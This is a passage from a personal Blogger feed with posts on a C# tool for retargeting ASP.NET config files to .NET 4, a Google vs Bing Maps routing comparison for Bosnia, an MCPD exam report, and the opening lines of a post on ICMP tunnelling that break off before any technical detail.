type='text'>Re-targeting multiple Asp.Net Web App from 3.5 to 4</title><content type='html'>&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;b id=&quot;internal-source-marker_0.01884503080509603&quot;&gt;&lt;span style=&quot;font-weight: normal; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;I understand it&#39;s a bit late to be doing it but better late than never. I got this .Net Framework 3.5 project to convert to .Net Framework 4...&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-weight: normal; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span style=&quot;font-weight: normal; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;Easiest way I know is: switch a value in a selection box and Visual studio does the changes for you.&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgoXym_JG2jZ36AEi8YUv9K_OJl2zSC5iQ7JLfTwIP-EagV_P2a7r2mV3D37fFF9u4_J9c_eLufc8AYJ832E-qwAXVk-NngzL5MidQYL33RMyResIsrGS2QQhkScRxxlVrgVm421CuujBA/s1600/retargeting+app.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;168&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgoXym_JG2jZ36AEi8YUv9K_OJl2zSC5iQ7JLfTwIP-EagV_P2a7r2mV3D37fFF9u4_J9c_eLufc8AYJ832E-qwAXVk-NngzL5MidQYL33RMyResIsrGS2QQhkScRxxlVrgVm421CuujBA/s320/retargeting+app.png&quot; width=&quot;320&quot; /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;
&lt;span style=&quot;white-space: pre-wrap;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span style=&quot;white-space: pre-wrap;&quot;&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/span&gt;
&lt;span id=&quot;internal-source-marker_0.01884503080509603&quot;&gt;&lt;span style=&quot;font-family: inherit; white-space: pre-wrap;&quot;&gt;However my situation was that I had several configuration files I would have to convert.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;white-space: pre-wrap;&quot;&gt;I found &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/dd483478.aspx&quot;&gt;on msdn, instructions&lt;/a&gt; to perform the conversion manually and wrote each step into&lt;/span&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&amp;nbsp;a quick-and-dirty command line application:&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;pre class=&quot;brush: csharp&quot;&gt;using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Xml.Linq;
using System.Xml.XPath;
using System.IO;

namespace RetargetFramework4
{
    class Program
    {
        static void Main(string[] args)
        {
            bool deleteWebServerSection = true;

            // justrun param will let if go without interruptions (and WILL execute step 7)
            if (args == null || !args.Any() || args[0] != &quot;justrun&quot;)
            {
                // try to make the user give up
                if (!Confirm(@&quot;
This code runs the steps from: http://msdn.microsoft.com/en-us/library/dd483478.aspx on all files ending with .config in the current folder.
Make sure you have them backed up.

Step 1: Make sure that the application currently targets ASP.NET 3.5!

Step 9: If you have customized the Web.config file, and if any customizations refer to custom assemblies or classes, make sure that the assemblies or classes are compatible with the .NET Framework version 4.

Are you sure you want to continue? (y/n)
&quot;))
                    return;

                deleteWebServerSection = ShallPerformStepSeven();
            }

            var configs = Directory.GetFiles(&quot;.&quot;, &quot;*.config&quot;);
            Console.WriteLine(&quot;{0}Found {1}&quot;, Environment.NewLine, string.Join(&quot;, &quot;, configs));

            ProcessConfigs(configs, deleteWebServerSection);

            Console.WriteLine(&quot;done!&quot;);
        }

        private static bool ShallPerformStepSeven()
        {
            return Confirm(@&quot;
Please note that:
Step 7 is: Delete everything between the system.webserver section start and end tags, but leave the tags themselves.
But in fact retargeting a Web project from the project property tab with Visual Studio 2010 does NOT remove all child elements!

Plus, be aware of these:
http://msdn.microsoft.com/en-us/library/46c5ddfy.aspx
http://weblogs.asp.net/mschwarz/archive/2008/11/07/appcmd-migrate-and-http-error-500-22-things-you-can-try.aspx
http://stackoverflow.com/questions/3400116/deploying-asp-net-mvc-app-to-iis7-net-4-0-environment-images-and-css-dont-loa

Do you want to execute this step? (y/n)
&quot;);
        }

        private static void ProcessConfigs(IEnumerable&amp;lt;string&amp;gt; configs, bool deleteWebServerSection)
        {
            foreach (var config in configs)
            {
                // 2 - Open the Web.config file in the application root.
                var xConfig = XDocument.Load(config);

                // 3 - In the configSections section, remove the sectionGroup element that is named &quot;system.web.extensions&quot;.
                var webExtensions = xConfig
                    .XPathSelectElements(&quot;configuration/configSections/sectionGroup[@name=&#39;system.web.extensions&#39;]&quot;)
                    .FirstOrDefault();
                if (webExtensions != null)
                    webExtensions.Remove();

                // 4 - In the system.web section, in the compilation collection, remove every add element that refers to an assembly of the .NET Framework.
                var assembliesAdd = from a in xConfig
                                .XPathSelectElements(&quot;configuration/system.web/compilation/assemblies/add&quot;)
                                    let assembly = (string)a.Attribute(&quot;assembly&quot;)
                                    where assembly != null &amp;amp;&amp;amp; assembly.StartsWith(&quot;System.&quot;)
                                    select a;
                if (assembliesAdd.Any())
                    assembliesAdd.Remove();

                // 5 - Add a targetFramework attribute to the compilation element in the system.web section, as shown in the following example:
                var compilation = xConfig.XPathSelectElements(&quot;configuration/system.web/compilation&quot;).FirstOrDefault();
                if (compilation != null)
                    compilation.SetAttributeValue(&quot;targetFramework&quot;, &quot;4.0&quot;);

                // 6 A - In the opening tag for the pages section, add a controlRenderingCompatibility attribute, as shown in the following example:
                var pages = xConfig.XPathSelectElements(&quot;configuration/system.web/pages&quot;).FirstOrDefault();
                if (pages != null)
                    pages.SetAttributeValue(&quot;controlRenderingCompatibilityVersion&quot;, &quot;3.5&quot;);

                // 6 B - In the system.codedom section, in the compilers collection, remove the compiler elements for c# and vb.
                var codedom = from a in xConfig
                                .XPathSelectElements(&quot;//system.codedom/compilers/compiler&quot;)
                              let language = (string)a.Attribute(&quot;language&quot;)
                              where language != null
                              &amp;amp;&amp;amp; (language.StartsWith(&quot;c#&quot;) || language.StartsWith(&quot;vb&quot;))
                              select a;
                if (codedom.Any())
                    codedom.Remove();

                // 7 - Delete everything between the system.webserver section start and end tags, but leave the tags themselves.
                if (deleteWebServerSection)
                {
                    xConfig.XPathSelectElements(&quot;configuration/system.webServer/*&quot;).Remove();
                }

                // 8 - Delete everything between the runtime section start and end tags, but leave the tags themselves.
                xConfig.XPathSelectElements(&quot;configuration/runtime/*&quot;).Remove();

                xConfig.Save(config, SaveOptions.None);
                Console.WriteLine(&quot;Finished with {0}.&quot;, config);
            }
        }

        private static bool Confirm(string message)
        {
            Console.WriteLine(message);
            return Console.ReadKey().KeyChar == &#39;y&#39;;
        }
    }
}&lt;/pre&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;Use it in a script if you&#39;d like, to be able to re-target an ASP.Net Web Application from version 3.5 to 4.0.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;It could be useful to re-target many applications, with multiple web.configs, from the command prompt:&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;i&gt;for /f %a in (&#39;dir /s /b web.config&#39;) do cd %a\.. &amp;amp; RetargetFramework4.exe justrun&amp;nbsp;&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;Note that if you are calling it from within a batch (.bat or .cmd) script file, % becomes %%&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;Make sure your config files are not marked as readonly (they probably will if you are using Source control and have not them checked out).&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;So check them out or remove the readonly attribute:&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;i&gt;attrib -r web.config&lt;/i&gt;&lt;/span&gt;
&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='https://blog.brunogarcia.com/feeds/3833022272078896137/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://blog.brunogarcia.com/2012/05/re-targeting-multiple-aspnet-web-app.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/7930636163197548393/posts/default/3833022272078896137'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/7930636163197548393/posts/default/3833022272078896137'/><link rel='alternate' type='text/html' href='https://blog.brunogarcia.com/2012/05/re-targeting-multiple-aspnet-web-app.html' title='Re-targeting multiple Asp.Net Web App from 3.5 to 4'/><author><name>Bruno Garcia</name><uri>http://www.blogger.com/profile/06119275781495671664</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyv6-cCkFMKtcSguiNxCAQG74GHyyx16kbvJUAAiK94IPIaJbyWM9zmD7Kjz9sBj42PYbMABHPfRbKQZ_bOpewa7pDd7wtPEWomKfDflOZ3u4h_c1O4baOmkwL3gvTOA/s100/286d2db.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgoXym_JG2jZ36AEi8YUv9K_OJl2zSC5iQ7JLfTwIP-EagV_P2a7r2mV3D37fFF9u4_J9c_eLufc8AYJ832E-qwAXVk-NngzL5MidQYL33RMyResIsrGS2QQhkScRxxlVrgVm421CuujBA/s72-c/retargeting+app.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7930636163197548393.post-7609864531877233157</id><published>2012-05-20T17:27:00.000+02:00</published><updated>2012-05-22T18:03:09.314+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Bing Maps"/><category scheme="http://www.blogger.com/atom/ns#" term="Bosnia and Herzegovina"/><category scheme="http://www.blogger.com/atom/ns#" term="Google Maps"/><title type='text'>Google Maps vs Bing Maps</title><content type='html'>&lt;br /&gt;
After planning trips for about 30 countries, road trips or not, my browser learned that when I press &lt;i&gt;m&lt;/i&gt;, I&#39;m looking for Google Maps:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1FnJm8C0Rz80e8M0LQh8dceMF9ENoC2AD27zQW-GACuuo819OrjuWFDMRQzJJX1V33KXi0qiY7WPfG7i3orPS7fDhN9gWJIaNxp1XqvIFGqwpqn-qRtrq6Sw7ohUqijgRFolr_XyeoyM/s1600/google+maps.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;55&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1FnJm8C0Rz80e8M0LQh8dceMF9ENoC2AD27zQW-GACuuo819OrjuWFDMRQzJJX1V33KXi0qiY7WPfG7i3orPS7fDhN9gWJIaNxp1XqvIFGqwpqn-qRtrq6Sw7ohUqijgRFolr_XyeoyM/s320/google+maps.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
This time, my trip will go through Bosnia and Herzegovina, and there was a problem though. Google Maps won&#39;t find routes through it.&lt;br /&gt;
&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;We could not calculate directions between &lt;b&gt;Belgrade, Serbia and Sarajevo, Bosnia and Herzegovina.&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
Another test showed that not only from outside Bosnia but also within the country:&lt;br /&gt;
&lt;i&gt;&lt;br /&gt;&lt;/i&gt;
&lt;i&gt;We could not calculate directions between &lt;b&gt;Banja Luka, Bosnia and Herzegovina and Sarajevo, Bosnia and Herzegovina.&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
That&#39;s when I gave a try to Bing Maps.&amp;nbsp;It was a moment of surprise to see the route calculated until I noticed it looked&amp;nbsp;&lt;a href=&quot;http://binged.it/JI0BkK&quot;&gt;quite weird&lt;/a&gt;:&lt;br /&gt;
&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZ1GLdFQQrJKVI_rVfVD-QpEhgwfXjG4e7gYWnkwBGjU8-Tb5gN3LO2CCdISTRUexVHnNgZ1DvendqYp8Gk1iPip1GSKrI0k9pvMIi2yo4hJ_6ecZ4woZ1dNf-6_CNoVGAS710nJ6EjzE/s1600/Belgrad+-+Sarajevo+-+Bing+Maps1.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;225&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZ1GLdFQQrJKVI_rVfVD-QpEhgwfXjG4e7gYWnkwBGjU8-Tb5gN3LO2CCdISTRUexVHnNgZ1DvendqYp8Gk1iPip1GSKrI0k9pvMIi2yo4hJ_6ecZ4woZ1dNf-6_CNoVGAS710nJ6EjzE/s320/Belgrad+-+Sarajevo+-+Bing+Maps1.PNG&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Belgrade - Sarajevo with Bing Maps (http://binged.it/JI0BkK)&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
The route created clearly was too long, having 394 kilometers (244 miles).&lt;br /&gt;
&lt;br /&gt;
After a quick research I found on &lt;a href=&quot;http://wikitravel.org/en/Sarajevo&quot;&gt;Sarajevo wikitravel&lt;/a&gt;:&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;From Belgrade (Serbia) - taking direction to Sabac - Zvornik - Vlasenica - Sokolac - Sarajevo.&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
Using this tip, I decided to &quot;help&quot; Bing Maps by adding these locations on the way. &lt;a href=&quot;http://binged.it/JHYXQ5&quot;&gt;The result&lt;/a&gt;, the least I can say, was&amp;nbsp;&lt;i&gt;funny! :)&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpxHXpSb6k1ecAbzelhuCdhvvTGrZ7lvcGXLeSmuygQNiVaww5YbsUQ-0uFBoICg2fo7cHBOe_QToN5RnkvzMrEbCmh8QC26st-IRAm0f2ixEJbWfFf2sW6Pzim-_z5NylbAf7x1HXrRQ/s1600/Belgrad+-+Sarajevo+-+Bing+Maps.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;255&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpxHXpSb6k1ecAbzelhuCdhvvTGrZ7lvcGXLeSmuygQNiVaww5YbsUQ-0uFBoICg2fo7cHBOe_QToN5RnkvzMrEbCmh8QC26st-IRAm0f2ixEJbWfFf2sW6Pzim-_z5NylbAf7x1HXrRQ/s320/Belgrad+-+Sarajevo+-+Bing+Maps.PNG&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Belgrade - Sarajevo and more with Bing Maps (http://binged.it/JHYXQ5)&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;br /&gt;
A way of 632 kilometers (392 miles), completely insane!&lt;br /&gt;
&lt;br /&gt;
The situation is that Google Maps won&#39;t give directions with a location inside Bosnia and Bing Maps seems to make fun of me. Finally, I got it surprisingly with &lt;a href=&quot;http://www.viamichelin.com/web/Routes/Route-Belgrade-_-Grad_Beograd-Serbia-to-Sarajevo-_-Sarajevo-Bosnia_and_Herzegovina?strStartLocid=31NDIxOTMxMGNORFF1T0RBNE1Eaz1jTWpBdU5EZ3lNakk9&amp;amp;strDestLocid=31NDIxZzMxMGNORE11T0RVNU1UWT1jTVRndU5ETXpPRGs9&quot;&gt;Michelin&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;]&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjsDReMpm1-sQhLZ4iP2YT1Ae9L_n6EmORZZrVxnh8W4rSwdtm1O5ctFruEnkDXitrIwTcUZLoiVZUIxvYyFgZTbKSAdGKOg-xRb_jVs73TC9He3VIE-ku-3quNvEBvCzkcbY8Clynfaw/s1600/Belgrade+-+Sarajevo+-+Via+Michelin.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;246&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjsDReMpm1-sQhLZ4iP2YT1Ae9L_n6EmORZZrVxnh8W4rSwdtm1O5ctFruEnkDXitrIwTcUZLoiVZUIxvYyFgZTbKSAdGKOg-xRb_jVs73TC9He3VIE-ku-3quNvEBvCzkcbY8Clynfaw/s320/Belgrade+-+Sarajevo+-+Via+Michelin.PNG&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Belgrade - Sarajevo with Via Michelin (http://tinyurl.com/7qt94ya)&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
A route with 305 kilometers (189 miles)&lt;br /&gt;
&lt;br /&gt;
Today&#39;s battle Microsoft vs Google, the winner was Michelin!</content><link rel='replies' type='application/atom+xml' href='https://blog.brunogarcia.com/feeds/7609864531877233157/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://blog.brunogarcia.com/2012/05/google-maps-vs-bing-maps.html#comment-form' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/7930636163197548393/posts/default/7609864531877233157'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/7930636163197548393/posts/default/7609864531877233157'/><link rel='alternate' type='text/html' href='https://blog.brunogarcia.com/2012/05/google-maps-vs-bing-maps.html' title='Google Maps vs Bing Maps'/><author><name>Bruno Garcia</name><uri>http://www.blogger.com/profile/06119275781495671664</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyv6-cCkFMKtcSguiNxCAQG74GHyyx16kbvJUAAiK94IPIaJbyWM9zmD7Kjz9sBj42PYbMABHPfRbKQZ_bOpewa7pDd7wtPEWomKfDflOZ3u4h_c1O4baOmkwL3gvTOA/s100/286d2db.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1FnJm8C0Rz80e8M0LQh8dceMF9ENoC2AD27zQW-GACuuo819OrjuWFDMRQzJJX1V33KXi0qiY7WPfG7i3orPS7fDhN9gWJIaNxp1XqvIFGqwpqn-qRtrq6Sw7ohUqijgRFolr_XyeoyM/s72-c/google+maps.png" height="72" width="72"/><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7930636163197548393.post-5680422162153626326</id><published>2012-04-27T19:18:00.000+02:00</published><updated>2012-05-26T16:55:20.000+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="70-523"/><category scheme="http://www.blogger.com/atom/ns#" term="MCPD"/><category scheme="http://www.blogger.com/atom/ns#" term="Microsoft Certification"/><title type='text'>MCPD upgrade, 70-523 exam</title><content type='html'>So today I finally did the 70-523 exam in order to upgrade the certification with the longest title ever created:&lt;br /&gt;
&lt;br /&gt;
Microsoft Certified Professional Developer .Net Framework 3.5&amp;nbsp;Web Developer&lt;br /&gt;
to&lt;br /&gt;
Microsoft Certified Professional Developer .Net Framework 4&amp;nbsp;Web Developer
&lt;br /&gt;
&lt;br /&gt;
Two characters shorter now, though.&lt;br /&gt;
&lt;br /&gt;
Almost 1 year and a half now since I did the&amp;nbsp;70-567, to upgrade from .Net 2.0 to 3.5 which means I was already late, considering .Net 4.0 was already launched. The .Net Framework 4.5 is on Developer preview so I guess I&amp;nbsp;could&amp;nbsp;finally catch up.&lt;br /&gt;
&lt;br /&gt;
Like the 70-567 exam, this was composed by more than 1 exam. &quot;An exam within an exam&quot; once said Leonardo. In the case of 70-523, there was 4 exams:&lt;br /&gt;
&lt;br /&gt;
TS Accessing Data with Microsoft .Net Framework 4&lt;br /&gt;
TS Windows Communication Foundation Development with Microsoft .Net Framework 4&lt;br /&gt;
TS Web Applications Development with Microsoft .Net Framework 4&lt;br /&gt;
Pro: Designing and developing Web Applications Using Microsoft .Net Framework 4&lt;br /&gt;
&lt;br /&gt;
Which means you get 3 MCTS and 1 MCPD certificates.&lt;br /&gt;
&lt;br /&gt;
The countdown was per exam, 40 minutes, which was more then enough considering the questions are straightforward, with few text to read.&lt;br /&gt;
The way Microsoft does these tests is interesting. I&#39;ve been doing these exams since 2006 it has always been the same. When I say &quot;the way&quot;, I mean normally select 1 out of 4 options, or select 2 out of 6 where:&lt;br /&gt;
&lt;br /&gt;
Each option is a complete solution&lt;br /&gt;
or&lt;br /&gt;
Both answers together make the solution&lt;br /&gt;
&lt;br /&gt;
The idea&amp;nbsp;that &quot;it&#39;s never something too hard to do&quot; is always valid and really helps a lot when you are not sure about the answer. Indeed they always include some questions regarding something you&#39;ll never see in your life, but we shouldn&#39;t have a hard time if we use the principle: &quot;It&#39;s never too complicated&quot;.&lt;br /&gt;
&lt;br /&gt;
So they asked something like:&lt;br /&gt;
&lt;br /&gt;
You work for Lorem Ipsum Inc and you have a WCF service you must log all message exchanges. What do you do?&lt;br /&gt;
&lt;br /&gt;
A - Create this config &amp;lt;binding&amp;gt;tralálá..&amp;lt;/binding&amp;gt;&lt;br /&gt;
B - Create a new project, reference you old service assembly&#39;s to the new project, delete the Chrome shortcut from your desktop and make sure you use Internet Explorer and Bing.&lt;br /&gt;
C - Copy paste the service implementation and deploy both services on the same server.&lt;br /&gt;
D - Buy a new server, setup load balance and deploy your service.&lt;br /&gt;
&lt;br /&gt;
Ok. I made it sound extremely&amp;nbsp;ridiculous, but I want to prove a point here: Which one would you select?&lt;br /&gt;
Even if you have no idea what the above text is talking about, if you follow the principle I mentioned, you would select the first option.&lt;br /&gt;
&lt;br /&gt;
How to be prepared? I&#39;m hopping you have a full time job working with Microsoft Technology, this really helps! Plus, most places you work, you don&#39;t have the chance to use every single new thing Microsoft launches as part of a new release of .Net Framework, so having a &lt;a href=&quot;http://remindtv.com/&quot;&gt;private project&lt;/a&gt; or at least play with it at home once in a while does help. On top of that, the standard way of study, (I suppose it&#39;s still standard), books.&lt;br /&gt;
&lt;br /&gt;
I read these 3:&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://www.amazon.com/MCTS-Self-Paced-Training-Exam-70-515/dp/0735627401/re009-20&quot;&gt;MCTS Self-Paced Training Kit (Exam 70-515): Web Applications Development with Microsoft .NET Framework 4 (Mcts 70-515 Exam Exam Prep)&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://www.amazon.com/MCTS-Self-Paced-Training-Exam-70-516/dp/0735627398/re009-20&quot;&gt;MCTS Self-Paced Training Kit (Exam 70-516): Accessing Data with Microsoft .NET Framework 4&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://www.amazon.com/MCPD-70-519-Exam-Ref-Applications/dp/0735657262/re009-20&quot;&gt;MCPD 70-519 Exam Ref: Designing and Developing Web Applications Using Microsoft .NET Framework 4 &lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
If you did 70-536 exam, a number I won&#39;t forget because took me a long time to be prepared to and the number of questions regarding pieces of the Framework I have never used were amazing, you might have read &lt;a href=&quot;http://www.amazon.com/MCTS-Self-Paced-Training-Exam-70-536/dp/0735622779/re009-20&quot;&gt;this book&lt;/a&gt;. It was written by the same guy who wrote the last book I listed above,&amp;nbsp;Tony Northrup.&lt;br /&gt;
&lt;br /&gt;
One thing worth mentioning: I was surprised by the number of errors on the &lt;a href=&quot;http://www.amazon.com/MCPD-70-519-Exam-Ref-Applications/dp/0735657262/re009-20&quot;&gt;70-519&lt;/a&gt;&amp;nbsp;book by Tony Northrup, but since it was its first release (5 months ago), it&#39;s understandable. I enjoy reading his books but I was hoping better from Microsoft Press review people.</content><link rel='replies' type='application/atom+xml' href='https://blog.brunogarcia.com/feeds/5680422162153626326/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://blog.brunogarcia.com/2012/04/mcpd-upgrade-70-523-exam.html#comment-form' title='10 Comments'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/7930636163197548393/posts/default/5680422162153626326'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/7930636163197548393/posts/default/5680422162153626326'/><link rel='alternate' type='text/html' href='https://blog.brunogarcia.com/2012/04/mcpd-upgrade-70-523-exam.html' title='MCPD upgrade, 70-523 exam'/><author><name>Bruno Garcia</name><uri>http://www.blogger.com/profile/06119275781495671664</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyv6-cCkFMKtcSguiNxCAQG74GHyyx16kbvJUAAiK94IPIaJbyWM9zmD7Kjz9sBj42PYbMABHPfRbKQZ_bOpewa7pDd7wtPEWomKfDflOZ3u4h_c1O4baOmkwL3gvTOA/s100/286d2db.jpg'/></author><thr:total>10</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7930636163197548393.post-4435793697531258211</id><published>2012-03-11T14:14:00.000+01:00</published><updated>2012-10-08T17:04:46.168+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="C#"/><category scheme="http://www.blogger.com/atom/ns#" term="Covert channel"/><category scheme="http://www.blogger.com/atom/ns#" term="ICMP"/><category scheme="http://www.blogger.com/atom/ns#" term="NetmonAPI"/><category scheme="http://www.blogger.com/atom/ns#" term="Network"/><category scheme="http://www.blogger.com/atom/ns#" term="Security"/><category scheme="http://www.blogger.com/atom/ns#" term="Tunneling"/><title type='text'>ICMP for stealth transport of data</title><content type='html'>ICMP (Internet Control Message Protocol) has been used for data transfer since always. Known as&amp;nbsp;&lt;a href=&quot;http://en.wikipedia.org/wiki/ICMP_tunnel&quot;&gt;ICMP Tunnel&lt;/a&gt;,&amp;nbsp;there are several projects and articles about this, mainly open source, like&amp;nbsp;&lt;a href=&quot;http://freecode.com/projects/icmpchat&quot;&gt;ICMP-Chat&lt;/a&gt;&amp;nbsp;for unix-like that is about 10 years old now. Also&amp;nbsp;&lt;a href=&quot;http://www.sectechno.com/2010/10/31/bypassing-firewalls-using-icmp-tunnel/&quot;&gt;an interesting article&lt;/a&gt;, explaining how to tunnel TCP over ICMP with a simple command line tool for unix-like environment, also&amp;nbsp;&lt;a 